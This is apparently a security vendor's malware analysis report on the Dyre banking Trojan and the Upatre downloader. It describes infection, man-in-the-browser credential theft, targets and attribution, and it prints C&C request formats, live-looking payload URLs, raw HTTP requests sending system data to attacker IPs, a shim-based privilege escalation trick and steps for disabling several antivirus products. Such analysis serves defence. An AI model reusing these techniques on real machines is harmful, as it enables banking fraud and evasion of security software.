Dyre is a multi-pronged threat and is often used to download additional malware on to the victim’s computer.
# CONTENTS

<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>OVERVIEW</td>
<td>3</td>
</tr>
<tr>
<td>Background</td>
<td>5</td>
</tr>
<tr>
<td>Infection vectors</td>
<td>6</td>
</tr>
<tr>
<td>The role of Upatre</td>
<td>6</td>
</tr>
<tr>
<td>Dyre attacks</td>
<td>8</td>
</tr>
<tr>
<td>Primary targets</td>
<td>11</td>
</tr>
<tr>
<td>Secondary targets</td>
<td>12</td>
</tr>
<tr>
<td>Attribution</td>
<td>12</td>
</tr>
<tr>
<td>Motivation</td>
<td>12</td>
</tr>
<tr>
<td>Dyre analysis</td>
<td>12</td>
</tr>
<tr>
<td>Identification</td>
<td>12</td>
</tr>
<tr>
<td>Anti-analysis</td>
<td>12</td>
</tr>
<tr>
<td>Dyre loader component</td>
<td>13</td>
</tr>
<tr>
<td>Dyre Trojan</td>
<td>13</td>
</tr>
<tr>
<td>Dyre modules</td>
<td>15</td>
</tr>
<tr>
<td>Command and control</td>
<td>16</td>
</tr>
<tr>
<td>Identification</td>
<td>19</td>
</tr>
<tr>
<td>Anti-analysis</td>
<td>19</td>
</tr>
<tr>
<td>Upatre loader component</td>
<td>19</td>
</tr>
<tr>
<td>Upatre Trojan</td>
<td>20</td>
</tr>
<tr>
<td>Related threats</td>
<td>26</td>
</tr>
<tr>
<td>Trojan.Spadyra</td>
<td>26</td>
</tr>
<tr>
<td>Trojan.Spadoluk</td>
<td>26</td>
</tr>
<tr>
<td>Trojan.Pandex.B (version 1)</td>
<td>26</td>
</tr>
<tr>
<td>Trojan.Pandex.B (version 2)</td>
<td>27</td>
</tr>
<tr>
<td>Infostealer.Kegotip</td>
<td>27</td>
</tr>
<tr>
<td>Trojan.Fareit (version 1)</td>
<td>27</td>
</tr>
<tr>
<td>Trojan.Fareit (version 2)</td>
<td>27</td>
</tr>
<tr>
<td>Trojan.Doscor</td>
<td>29</td>
</tr>
<tr>
<td>Trojan.Fitobrute</td>
<td>29</td>
</tr>
<tr>
<td>Conclusion</td>
<td>31</td>
</tr>
</tbody>
</table>
A significant upsurge in activity over the past year has seen Dyre emerge as one of the most dangerous financial Trojans, capable of defrauding customers of a wide range of financial institutions across multiple countries.

Dyre is a highly developed piece of malware, capable of hijacking all three major web browsers and intercepting internet banking sessions in order to harvest the victim’s credentials and send them to the attackers.

Dyre is a multi-pronged threat and is often used to download additional malware on to the victim’s computer. In many cases, the victim is added to a botnet which is then used to send out thousands of spam emails in order to spread the threat further afield.
Financial Trojans use a number of common tactics to steal information. Most will hijack the victim’s web browser in order to intercept internet banking sessions.
Financial Trojans continue to be some of the most lucrative tools for cybercrime gangs. Although the threat actors and malware they employ have shifted over time, the attack model remains broadly similar. Attackers infect victims usually through spam email campaigns, installing malware on the victim’s computer which is capable of stealing their banking credentials.

Financial Trojans use a number of common tactics to steal information. Most will hijack the victim’s web browser in order to intercept internet banking sessions. They can then either redirect the victim to a fake website designed to imitate their bank’s site or can inject additional code into authentic web pages in order to harvest the credentials that the user inputs.

The past year has seen a number of takedown operations against prominent financial Trojan groups. In June 2014, an international law enforcement operation led to the FBI seizing a large amount of infrastructure belonging to the Gameover Zeus botnet.

A month later, another operation targeted the group behind Shylock, another virulent financial Trojan which was responsible for the theft of millions of dollars from victims over a three-year period.

More recently, a Europol-led operation struck against the Ramnit botnet, seizing servers and infrastructure owned by the group behind it. Ramnit facilitated a vast cybercrime operation, harvesting banking credentials and other personal information from victims.

These takedown operations have knocked out or severely curtailed the operations of some of the most prominent financial Trojan groups, leaving a vacuum into which the group behind the Dyre Trojan has filled.
Infection vectors

The Dyre attackers’ main infection vector is spam emails. Generally speaking, the emails are simple in structure and usually masquerade as business documents, voicemail, or fax messages. Each email comes with an attachment or web link to a malware-hosting site. If the victim is lured into opening the attachment or link, the Upatre downloader is installed on their computer.

The role of Upatre

Downloader. Upatre is one of the main downloader-type threats circulating at present and the malware has been used by a number of high-profile attack groups in recent campaigns to install threats such as Gameover Zeus (detected by Symantec as Trojan.Zbot) and Cryptolocker (detected by Symantec as Trojan.Cryptolocker). The Dyre attackers have followed suit and, since June 2014, Upatre has been used as the main means of installing Dyre on a victim’s computer.

Upatre is usually delivered hidden in the attachment of a phishing email. If the victim opens the attachment, Upatre will run on their computer. Upatre is a lightweight downloader, only 38Kb in size, and its main purpose is to download and install additional malware on to the victim’s computer.

When run, Upatre will first collect system information, such as the computer’s name, operating system, and public IP address. It also checks for security software and, if found, attempts to disable it to prevent detection.

On some configurations, Upatre will attempt to perform a privilege escalation attack, taking advantage of the Microsoft Windows Kernel ‘Win32k.sys’ Local Privilege Escalation Vulnerability (CVE-2014-4113) or using the Application Compatibility Database Installer (sdbinst.exe).

After following these initial steps, Upatre will then download an encrypted binary from a remote server, decrypt it, and execute the binary to install Dyre on the victim’s computer.
“If the server is configured to hijack the web page, it sends the victim to a fake web page which looks very similar to the genuine one.”
Dyre attacks

Dyre is capable of attacking the three most commonly used Windows web browsers (Internet Explorer, Chrome, and Firefox) in order to steal credentials. It uses a number of different man-in-the-browser (MITB) attack techniques to do this.

One MITB technique involves the malware checking the URL of every web page visited by the victim to see if it is one of those listed in its configuration files. If there is a match, it will then redirect the victim to a malicious server. If the server is configured to hijack the web page, it sends the victim to a fake web page which looks very similar to the genuine one. This page will then harvest any credentials that the victim enters before redirecting them to the genuine web page in order to avoid raising suspicion.

Figure 3. Redirecting victim to a fake page
A second MITB technique allows the attackers to alter a legitimate web page on the fly by injecting malicious code into the page. For example, if a user opens a banking web page, the malware will contact a malicious server and send it a compressed version of the web page. The server will then respond with the compressed version of the web page with malicious code added to it. This altered web page is then displayed on the victim’s web browser. Its appearance is not altered, but the added code will harvest the victim’s login credentials. In some scenarios, Dyre may also display an additional fake page informing the victim that their computer had not been recognized and that additional credentials would need to be provided to verify their identity, such as their date of birth, PIN code, and credit card details.

Figure 4. Web injection on the fly
The list of targets is dominated by banks and it includes some of the world’s most well-known institutions.
Dyre: Emerging threat on financial fraud landscape

Primary targets

Figure 5. Dyre detections over time

Dyre is configured to attack customers of multiple organizations. Symantec has to date captured at least 1,000 unique URL strings, each of which is related to web addresses belonging to targeted organizations. The list of targets is dominated by banks and it includes some of the world’s most well-known institutions. The attackers particularly focus on English-speaking countries, with the US and UK topping the list in terms of banks targeted.

Figure 6. Number of banks targeted by Dyre Trojan by region
Secondary targets

Dyre targets more than just banks. The Trojan is also configured to attack customers of electronic payments services and users of digital currencies. In addition to financial websites, the Dyre attackers have also targeted a number of careers- and HR-related websites, presumably because stealing credentials may facilitate harvesting potentially valuable personal information. Interestingly, a number of web hosting companies are also targeted. Stolen credentials may facilitate further development of the attackers’ command-and-control (C&C) infrastructure.

Attribution

Based on our monitoring of Dyre activity, the attackers appear to adhere to a five-day working week, with no activity on Saturday and Sunday. Monday is the busiest day in terms of activity. This may be due to backlogs resulting from the weekend break. Activity is measured by counting event updates from C&C servers.

In terms of operating hours, activity ranges from 3am to 10pm UTC timing, with most of the updates occurring from 9am to 4pm UTC.

Since the attackers appear to be operating in the UTC +2 or UTC +3 time zones, it is possible that the attacks originate in Eastern Europe or Russia, based on the workday pattern observed.

While a large amount of Dyre’s C&C infrastructure is located in those regions, a relatively low amount of infections is seen. In addition, financial institutions in those regions are generally not on the target list. One possibility is that the attackers may be reluctant to draw attention to themselves by attacking those close to home.

Motivation

The main motivation behind these attacks is financial gain. While the attackers mainly use Dyre to steal banking credentials, they may also use stolen personal information from HR or career websites to recruit money mules.

One other motive could lie in selling “Bots-as-a-Service”, where a sum of money is paid for each installation of Trojans on target computers.

Dyre analysis

Identification

Table 1 details different security vendors’ detection names for Dyre.

<table>
<thead>
<tr>
<th>Vendor</th>
<th>Aliases</th>
</tr>
</thead>
<tbody>
<tr>
<td>Symantec</td>
<td>Infostealer.Dyre</td>
</tr>
<tr>
<td>BitDefender</td>
<td>Gen:Variant.Dyreza</td>
</tr>
<tr>
<td>Microsoft</td>
<td>PWS:Win32/Dyzap</td>
</tr>
<tr>
<td>ESET</td>
<td>Win32/Battdil</td>
</tr>
</tbody>
</table>

Anti-analysis

Table 2 contains a list of reverse-engineering challenges discovered during the course of the analysis.

<table>
<thead>
<tr>
<th>Category</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anti-debug</td>
<td>No</td>
</tr>
<tr>
<td>Anti-emulation</td>
<td>Yes</td>
</tr>
<tr>
<td>Anti-VM</td>
<td>No</td>
</tr>
<tr>
<td>Packing/compression</td>
<td>Yes</td>
</tr>
<tr>
<td>Obfuscation</td>
<td>No</td>
</tr>
<tr>
<td>Host-based encryption</td>
<td>Yes</td>
</tr>
<tr>
<td>Network-based encryption</td>
<td>Yes</td>
</tr>
<tr>
<td>Server-side tricks</td>
<td>No</td>
</tr>
</tbody>
</table>
Dyre loader component

Table 3 details the characteristics of the Dyre Trojan’s loader.

**Overview**
1. Copies itself to the %Windir% folder and registers as a service
2. Decrypts code from resource and injects it into svchost.exe through ZwQueueApcThread to load Dyre

**Functionality**
First, the loader copies itself to %Windir%\[EIGHT RANDOM CHARACTERS].exe and registers the copied file as a service by adding the following registry entries:

- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate\"DisplayName\" = “Google Update Service”
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate\"ErrorControl\" = “1”
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate\"ImagePath\" = “%Windir%\HLIEJMtH.exe”
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate\"ObjectName\" = “LocalSystem”
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate\"Start\" = “2”
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate\"Type\" = “16”
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate\Security\"Security\" = “[BINARY DATA]”

The loader then removes the original file and runs the copied one. The service has the following attributes:

Startup Type: Automatic
Image Path: %Windir%\HLIEJMtH.exe
Display Name: Google Update Service

Finally, the loader decrypts resources and injects them into svchost.exe through NtMapViewOfSection and ZwQueueApcThread. The injected binary contains both the Dyre Trojan and the code needed to load it into memory.

Dyre Trojan

Table 4 details the characteristics of the Dyre Trojan injected into memory.

**Overview**
The injected Dyre Trojan contains five resources. Two of the resources (7r3ysoac6 and 9tcucogn5) are encrypted, while two other resources (0y2hgif34 and 4qvndmku0) are compressed and encrypted. The first 32 bytes inside the fifth resource (6et5aphf7) are used as XOR keys to decrypt 0y2hgif34 and 4qvndmku0.
Dyre carries out the following tasks:

1. Decrypts and decompresses resources
2. Finds valid C&C servers by using the initial C&C server list embedded in resource 9tcucgn5
3. Downloads a C&C server list, configurations, and modules, then encrypts and saves them to the file nw9vbe8cc4.dll
4. Injects resource 0y2hgif34 into other processes to load downloaded modules
5. Injects resource 4qvndmku0 into web browser processes to act as a MITB
6. Receives commands from remote servers, and downloads and executes other malware

**Module loader component**

The module loader (MD5: bd1c4dc7c25027c6bac1da174bfdd480) is a .dll and is found inside resource 0y2hgif34. It is injected into other processes and is responsible for loading and unloading modules, as well as calling functions exported by modules. The .dll communicates with Dyre through named pipes. Pipe names are "\\\pipe\mvnwihe2w" and "\\\pipe\2f1e5f214354r" and may vary among variants.

**Man-in-the-browser (MITB) component**

The MITB component (MD5: 6ed9f5147429ae061ff636001cc5ca40) is a .dll found in resource 4qvndmku0. It is injected into the browser processes (iexplore.exe, firefox.exe, chrome.exe) of the three most popular web browsers (Internet Explorer, Firefox, Chrome respectively). It then hooks network-related functions and acts as a MITB. The .dll communicates with Dyre through the named pipe "\\\pipe\mvnwihe2w" (may vary among variants).

For Internet Explorer, it hooks the following functions inside wininet.dll and kernel32.dll:

ICSsecureSocket::Send_Fsm
ICSsecureSocket::Receive_Fsm
LoadLibraryExW
For Firefox, it hooks the following functions exported by NSPR4.dll or NSS3.dll:

PR_Read
PR_Write
PR_Close

For Chrome, it hooks functions inside chrome.dll for similar purposes.

**Dyre modules**

Dyre also has a number of modules which provide additional functionality to the malware.

**m_i2p32**

This module enables Dyre to connect to the anonymous i2p network and may also make it work as an i2p proxy node.

<table>
<thead>
<tr>
<th>File name</th>
<th>Characteristics</th>
</tr>
</thead>
<tbody>
<tr>
<td>m_i2p32.bin</td>
<td>fe63819d4efa60f5008b011f5233c05</td>
</tr>
<tr>
<td>MD5</td>
<td>7c8452f07527c9b7c7d5fa95b1d089b6eee12e</td>
</tr>
<tr>
<td>SHA-1</td>
<td>a7f9c79d89f6983bee37cfe6338fd8e98524429137067bd9ac7ac9c796e0a2f</td>
</tr>
<tr>
<td>Size (bytes)</td>
<td>877,056</td>
</tr>
<tr>
<td>Timestamp</td>
<td>0x5506F4AF, 16 Mar 2015 15:20:15</td>
</tr>
</tbody>
</table>

**tv32**

Tv32 is a Virtual Network Computing (VNC) module with limited functionality. It uses a local port and waits for a connection from a remote computer. The module is used primarily for remote viewing of the screen of the compromised computer. Unlike vnc32, this module does not have the capability to generate keyboard and mouse events from the attacker side.

<table>
<thead>
<tr>
<th>File name</th>
<th>Characteristics</th>
</tr>
</thead>
<tbody>
<tr>
<td>tv32.bin</td>
<td>48ea8d407cc395190fd812e02aa12346</td>
</tr>
<tr>
<td>MD5</td>
<td>b218321377d97103d840ed2a84fe8cb5246aac77</td>
</tr>
<tr>
<td>SHA-1</td>
<td>a9cf26207ac64c32534fd3f2922803c44d15ea550a4d7d9752756bb384b09b</td>
</tr>
<tr>
<td>Size (bytes)</td>
<td>132,096</td>
</tr>
<tr>
<td>Timestamp</td>
<td>0x54380341, 10 Oct 2014 17:03:13</td>
</tr>
</tbody>
</table>

**vnc32**

Vnc32 is another VNC module. Like tv32, it uses a local port and waits for a connection from a remote computer. In this case, it could handle keyboard and mouse events coming from the attacker, as well as setting clipboard data. With these supported functions, the attacker can operate the compromised system remotely.

<table>
<thead>
<tr>
<th>File name</th>
<th>Characteristics</th>
</tr>
</thead>
<tbody>
<tr>
<td>vnc32.bin</td>
<td>d986324f137b13136155313e50e001b1</td>
</tr>
<tr>
<td>MD5</td>
<td>9fc5ba2c42b00ec2d85af2db8a7b8076b81bb4e</td>
</tr>
<tr>
<td>SHA-1</td>
<td>e2cf5417bf3db8f422fcdbe6d9f8829c5aad87a70fa51f9e50082abb17fc</td>
</tr>
<tr>
<td>Size (bytes)</td>
<td>190,464</td>
</tr>
<tr>
<td>Timestamp</td>
<td>0x5437C862, 10 Oct 2014 12:52:02</td>
</tr>
</tbody>
</table>
wg32

Wg32 is used to collect system information, cookies, certificates, and web browser histories from the compromised computer.

Command and control

Dyre communicates with C&C servers through HTTPS. Before it communicates with the C&C server, it first tests for internet availability using the following approaches:

1. Making socket connection to either google.com or microsoft.com
2. Using the Windows API, `InternetGetConnectedState`

Requests

Dyre is configured to send a number of different requests to a C&C server.

<table>
<thead>
<tr>
<th>Table 11. wg32 module characteristics</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>File name</strong></td>
</tr>
<tr>
<td><strong>MD5</strong></td>
</tr>
<tr>
<td><strong>SHA-1</strong></td>
</tr>
<tr>
<td><strong>SHA-256</strong></td>
</tr>
<tr>
<td><strong>Size (bytes)</strong></td>
</tr>
<tr>
<td><strong>Timestamp</strong></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Table 12. Dyre handshake request to C&amp;C server</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Category</strong></td>
</tr>
<tr>
<td><strong>Method</strong></td>
</tr>
<tr>
<td><strong>Request format</strong></td>
</tr>
<tr>
<td><strong>Request example</strong></td>
</tr>
<tr>
<td><strong>Response format</strong></td>
</tr>
<tr>
<td><strong>Main purpose</strong></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Table 13. Dyre request to C&amp;C server for modules</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Category</strong></td>
</tr>
<tr>
<td><strong>Method</strong></td>
</tr>
<tr>
<td><strong>Request format</strong></td>
</tr>
<tr>
<td><strong>Request example</strong></td>
</tr>
<tr>
<td><strong>Response format</strong></td>
</tr>
<tr>
<td><strong>Main purpose</strong></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Table 14. Dyre request to C&amp;C server for a new list of C&amp;C servers</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Category</strong></td>
</tr>
<tr>
<td><strong>Method</strong></td>
</tr>
<tr>
<td><strong>Request format</strong></td>
</tr>
<tr>
<td><strong>Request example</strong></td>
</tr>
<tr>
<td><strong>Response format</strong></td>
</tr>
<tr>
<td><strong>Main purpose</strong></td>
</tr>
</tbody>
</table>
Four modules can be requested: ‘m_i2p32’, ‘tv32’, ‘vnc32’ and ‘wg32’.

The request for configuration has the same format as the request for modules. There are three configurations: ‘httprex’, ‘respparser’, and ‘bccfg’. ‘httprex’ and ‘respparser’ are used by the MITB component. In a recent Dyre sample (MD5: 5a0649b9d6feaaf02bbc70bca6c41f21), these two configuration names have been modified to ‘httprex2’ and ‘rps2’ respectively.

Symantec has identified a number of command IDs supported by Dyre (Table 18).

While monitoring the 0x29 and 0x2B commands, we observed several additional types of malware being downloaded to the infected computer, which we will detail in this report.

<table>
<thead>
<tr>
<th>Category</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Method</td>
<td>HTTP GET</td>
</tr>
<tr>
<td>Request format</td>
<td>/[CampaignID]/[BotID]/5/[ModuleName]/[PublicIP]/</td>
</tr>
<tr>
<td>Request example</td>
<td>/1901uk1/WINDOWS-PC_W617601_AE904EF3DD390FA8A8D004243C0CA65B/5/wg32/[REDACTED]/</td>
</tr>
<tr>
<td>Response format</td>
<td>[EncryptedData]</td>
</tr>
<tr>
<td>Main purpose</td>
<td>Request a specific module</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Category</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Method</td>
<td>HTTP GET</td>
</tr>
<tr>
<td>Request format</td>
<td>/[CampaignID]/[BotID]/5/[ModuleName]/[PublicIP]/</td>
</tr>
<tr>
<td>Request example</td>
<td>/1901uk1/WINDOWS-PC_W617601_AE904EF3DD390FA8A8D004243C0CA65B/5/httprex/[REDACTED]/</td>
</tr>
<tr>
<td>Response format</td>
<td>[EncryptedData]</td>
</tr>
<tr>
<td>Main purpose</td>
<td>Request specific configuration from C&amp;C server</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Category</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Method</td>
<td>HTTP GET</td>
</tr>
<tr>
<td>Request format</td>
<td>/[CampaignID]/[BotID]/1/[31BytesRandomString]/[PublicIP]/</td>
</tr>
<tr>
<td>Request example</td>
<td>/1901uk1/WINDOWS-PC_W617601_AE904EF3DD390FA8A8D004243C0CA65B/1/5E1WV5LbZaNYjXmwhGwErcOE/[REDACTED]/</td>
</tr>
<tr>
<td>Response format</td>
<td>[CommandID]/[CampaignID]/[BotID]/[31BytesRandomString]/[TimeStamp]/\x0D\x0A[EncryptedCommandData]</td>
</tr>
<tr>
<td>Response example</td>
<td>/41/1901uk1/WINDOWS-PC_W617601_AE904EF3DD390FA8A8D004243C0CA65B/5E1WV5LbZaNYjXmwhGwErcOE/1339968/<a href="http://94.23.255.86/ml1from2_test.tar">http://94.23.255.86/ml1from2_test.tar</a> (in a recent Dyre sample, MD5: 5a0649b9d6f6aaaf02bcb70bca6c41f21, https has been enabled (<a href="http://69.162.126.162:443/kucha1.tar">http://69.162.126.162:443/kucha1.tar</a>))</td>
</tr>
<tr>
<td>Main purpose</td>
<td>Request command from C&amp;C server</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x3A (58)</td>
<td>Connect to back channel</td>
</tr>
<tr>
<td>0x39 (57)</td>
<td>Download vnc32 module</td>
</tr>
<tr>
<td>0x38 (56)</td>
<td>Download tv32 module</td>
</tr>
<tr>
<td>0x3D (61)</td>
<td>Download wg32 module</td>
</tr>
<tr>
<td>0x1E (30)</td>
<td>Restart computer</td>
</tr>
<tr>
<td>0x29A (666)</td>
<td>Check aliveMaster boot record/Volume boot record wiper (seen in recent Dyre sample, MD5: 5a0649b9d6f6aaaf02bcb70bca6c41f21)</td>
</tr>
<tr>
<td>0x2B (43)</td>
<td>Download and execute additional file</td>
</tr>
<tr>
<td>0x29 (41)</td>
<td>Download and execute additional file</td>
</tr>
</tbody>
</table>
C&C infrastructure

The attackers behind Dyre have built an extensive C&C infrastructure. Symantec has to date observed:

- 285 main C&C IP addresses
- 14 IP addresses used for the delivery of plugin modules
- Two IP addresses used for the delivery of additional payloads
- 21 IP addresses used for carrying out MITB attacks
- Seven back channel IP addresses

Notably, the attackers have segregated their C&C servers very well and only two IP addresses were used concurrently, as both main C&C addresses and module dispatch servers.

Symantec observed that 99 percent of C&C IP addresses are based in Europe. The majority of the C&C servers are located in Ukraine and Russia (227 out of 285), amounting to around 80 percent of all IP addresses observed.

While the C&C infrastructure used for downloading additional modules is also dominated by Ukraine and Russia, the C&C infrastructure for delivering extra payloads, carrying out MITB attacks and opening backchannel communications is mainly deployed elsewhere in Europe. One possible explanation is that these functions are operated by two separate groups.
Identification

Table 19 details Symantec’s detection name for Upatre.

Anti-analysis

Table 20 contains a list of reverse-engineering challenges discovered during the course of the analysis.

Upatre loader component

Table 21 details the characteristics of the Upatre loader.

Overview

1. Posts system information such as computer name, OS version, and public IP address to a remote IP address (181.189.152.131)
2. Downloads an encrypted binary from a remote server and stores it to file
3. Decrypts the file to allocated memory and runs it

Functionality

When launched, the loader creates the following file and writes the current full path of itself:

• %UserProfile%\Local Settings\Temp\gooA07C.txt

It then copies itself to the following file and executes the copied file:

• %UserProfile%\Local Settings\Temp\gooupdate.exe

When the copied file executes, it checks the file size of %Temp%\gooA07C.txt. If it is bigger than 0x406, it will try to decrypt and launch the file. Otherwise it will delete the previous original file being launched and then send a request to get the public IP address from checkip.dyndns.org or icanhazip.com:

GET / HTTP/1.1
Accept: text/*, application/*
User-Agent: Mazilla/5.0
Host: checkip.dyndns.org
Cache-Control: no-cache

HTTP/1.1 200 OK
Content-Type: text/html
Server: DynDNS-CheckIP/1.0
Connection: close
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 104

<html><head><title>Current IP Check</title></head><body><h2>Current IP Address: 42.61.[REMOVED]</h2></body></html>
The threat locates the string of the IP address from the response (here, it is “42.61.[REMOVED]”) and then encodes the string by adding each character with 0x14. Here, the encoded IP address is “HFBJEB[REMOVED]”:

- ‘4’: 0x34 + 0x14 = 0x48 ‘H’
- ‘2’: 0x32 + 0x14 = 0x46 ‘F’
- ‘.’: 0x2E + 0x14 = 0x42 ‘B’
...

The loader then gathers system information (computer name and OS version) and sends it to a remote IP address 181.189.152.131 through a GET request. “2402us22” is the campaign ID that is hard-coded in the sample and could change among variants:

```
GET /2402us22/ADMIN-USER/0/51-SP3/0/HFBJEB[REMOVED] HTTP/1.1
User-Agent: Mazilla/5.0
Host: 181.189.152.131:14127
Cache-Control: no-cache
```

The loader then tries to obtain an encrypted binary from two remote servers. If the first one fails, it will try the other one. The downloaded binary is stored in %UserProfile%\Local Settings\Temp\gooA07C.txt. For recent variants of Upatre, HTTPS connections are used for downloading:

```
bilalhussain.com/mandoc/juntet.pdf
s517098314.websitehome.co.uk/mandoc/juntet.pdf
GET /mandoc/juntet.pdf HTTP/1.1
Accept: text/*, application/*
User-Agent: Mazilla/5.0
Host: bilalhussain.com
Cache-Control: no-cache
```

After decryption, the loader will jump to offset 0x3C (dw value at offset 0x8h) and continue execution. The code will decompress another PE file (MD5: 95122947595d56e22cc1805c42c04ec9) by using RtlDecompressBuffer. The offset and size of the compressed data are indicated at 0xC in the buffer. The loader then maps the PE file, loads the import address table (IAT), and jumps to the entry point.

## Upatre Trojan

Table 22 details the characteristics of the decompressed Upatre Trojan:

**Overview**

Upatre carries out the following tasks:

1. Works against security software (Windows Defender, Microsoft Antimalware, Malwarebytes, ESET, and AVG)
2. Escalates privilege
3. Decrypts and drops resources, then launches the dropped file
4. Exfiltrates computer name and version information to a remote server

<table>
<thead>
<tr>
<th>Table 22. Decompressed PE characteristics</th>
</tr>
</thead>
<tbody>
<tr>
<td>File name</td>
</tr>
<tr>
<td>MD5</td>
</tr>
<tr>
<td>SHA-1</td>
</tr>
<tr>
<td>SHA-256</td>
</tr>
<tr>
<td>Size (bytes)</td>
</tr>
<tr>
<td>Purpose</td>
</tr>
</tbody>
</table>
It uses the following approaches to escalate privilege:

- Exploiting CVE-2014-4113

Using the Application Compatibility Database Installer (sdbinst.exe), for sdbinst.exe, the Trojan first drops the custom shim database file (com.[USER NAME].sdb) and then loads the dropped file. The file contains the following strings inside which indicate that iscsicli.exe will be redirected to another .bat file.

```powershell
iscsicli.exe
REDIRECTEXE
%Temp%\..\.\LocalLow\cmd.%Username%.bat
```

The batch file contains a command to launch itself again. Then it runs iscsicli.exe, which automatically launches the malware with escalated privileges in the end. Finally, it runs “sdbinst /q /u” to unregister the sdb file.

It can disable security software depending on the processes found.

**Mssece.exe**

When the msseces.exe process (Windows Defender or Microsoft Antimalware) is found, the Trojan injects code to spoolsv.exe to create the following registry entries:

- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions"*.exe" = “0”`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions"*.dll" = “0”`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions"*.tmp" = “0”`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes"afwqs.exe" = “0”`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes"rgjdu.exe" = “0”`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes"explorer.exe" = “0”`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes"spoolsv.exe" = “0”`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes"rundl32.exe" = “0”`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes"consent.exe" = “0”`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes"svchost.exe" = “0”`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Extensions"*.exe" = “0”`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Extensions"*.dll" = “0”`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Extensions"*.tmp" = “0”`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes"afwqs.exe" = “0”`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes"rgjdu.exe" = “0”`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes"explorer.exe" = “0”`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes"spoolsv.exe" = “0”`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes"rundl32.exe" = “0”`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes"consent.exe" = “0”`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes"svchost.exe" = “0”`

**Mbam.exe**

When the mbam.exe process (Malwarebytes Anti-Malware) is found, the Trojan creates the following registry entry:

- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"WinNtM” = “1”`

Next, the Trojan overwrites the following configuration files with data embedded inside the malware:

- `%UserProfile%\Malwarebytes\Malwarebytes Anti-Malware\Configuration\settings.conf`
• `%UserProfile%\Malwarebytes\Malwarebytes Anti-Malware\Configuration\scheduler.conf
• `%UserProfile%\Malwarebytes\Malwarebytes Anti-Malware\exclusions.dat

It then loads mbam.dll and calls the following APIs:

• ProtectionStop
• SchedulerStop
• SelfProtectionDisable

Finally, the Trojan ends the mbam.exe process.

ekern.exe

When the process ekrn.exe (ESET) is found, it creates the following registry entry:

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"WinNtE" = “1”

Next, the Trojan removes updfiles, lastupd.ver and upd.ver.

avgui.exe

When the avgui.exe process (AVG) is found, the Trojan creates the following registry:

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"WinNtAv" = “1’

The Trojan then removes the update folder used by AVG, then recreates the folder and writes one byte to the file `update\download`.

avgnt.exe

When the avgnt.exe process (Avira) is found, the Trojan creates the following registry:

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"WinNtAr" = “1”

Next, the Trojan overwrites avwin.ini with the following and then runs avconfig.exe /SAVEAVWININI="avwin.ini;":

```
#########################################################
# $AV$CONFIGURATION$INI
#########################################################
# This file has been created automatically.
# DO NOT MODIFY!!
#########################################################
[CFGPROFILE]
[COMMON]
[SCANNER]
